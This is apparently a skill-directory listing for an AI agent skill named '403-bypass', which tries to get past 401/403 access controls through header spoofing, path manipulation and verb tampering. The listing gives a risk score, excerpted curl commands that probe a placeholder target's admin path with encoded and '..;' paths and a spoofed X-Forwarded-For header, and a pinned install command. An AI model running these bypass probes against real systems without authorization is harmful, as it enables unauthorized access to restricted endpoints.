403-bypass

90 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By dreadnode/capabilities (GitHub) · security · 22 stars · scanned at commit 3ceeb34

Systematic 403/401 bypass via header spoofing, path manipulation, verb tampering, and protocol tricks. Use when endpoint returns 403/401 and you suspect ACL enforcement at proxy/WAF layer rather than application layer.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 3 places.

capabilities/web-security/skills/403-bypass/SKILL.md, line 161curl --http1.0 --path-as-is -x localhost:8080 -k https://target/admin
capabilities/web-security/skills/403-bypass/SKILL.md, line 172curl -X POST --path-as-is -x localhost:8080 -k \
capabilities/web-security/skills/403-bypass/SKILL.md, line 197TARGET="https://target.com"

Connects to the internet

The author does not mention this. Expected for a security skill.

Found in 9 places.

capabilities/web-security/skills/403-bypass/SKILL.md, line 172curl -X POST --path-as-is -x localhost:8080 -k \
capabilities/web-security/skills/403-bypass/SKILL.md, line 202curl -sk --path-as-is $PROXY -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}${PATH}"
capabilities/web-security/skills/403-bypass/SKILL.md, line 209curl -sk --path-as-is $PROXY -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}${p}"

Show 6 more

capabilities/web-security/skills/403-bypass/SKILL.md, line 217curl -sk --path-as-is $PROXY -H "$h" -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}${PATH}"
capabilities/web-security/skills/403-bypass/SKILL.md, line 223curl -sk --path-as-is $PROXY -X "$m" -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}${PATH}"
capabilities/web-security/skills/403-bypass/SKILL.md, line 227curl -sk --path-as-is $PROXY -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}/%61dmin"
capabilities/web-security/skills/403-bypass/SKILL.md, line 228curl -sk --path-as-is $PROXY -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}/%2561dmin"
capabilities/web-security/skills/403-bypass/SKILL.md, line 229curl -sk --path-as-is $PROXY -o /dev/null -w "%{http_code} %{size_download}\n" "${TARGET}/x/..;/${PATH#/}"
capabilities/web-security/skills/403-bypass/SKILL.md, line 232curl -sk --path-as-is $PROXY -H "X-Forwarded-For: 127.0.0.1" \

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'403-bypass' ] || [ -L ~/.agents/skills/'403-bypass' ]; then echo 'A skill folder named 403-bypass already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/dreadnode/capabilities' "$d" && git -C "$d" checkout --quiet '3ceeb34c0c33dc36738cf0d4ec86e38b53d98216' -- 'capabilities/web-security/skills/403-bypass' && mkdir -p ~/.agents/skills && cp -R "$d"/'capabilities/web-security/skills/403-bypass' ~/.agents/skills/'403-bypass' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'403-bypass' ~/.claude/skills/'403-bypass' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-11	`3ceeb34`	90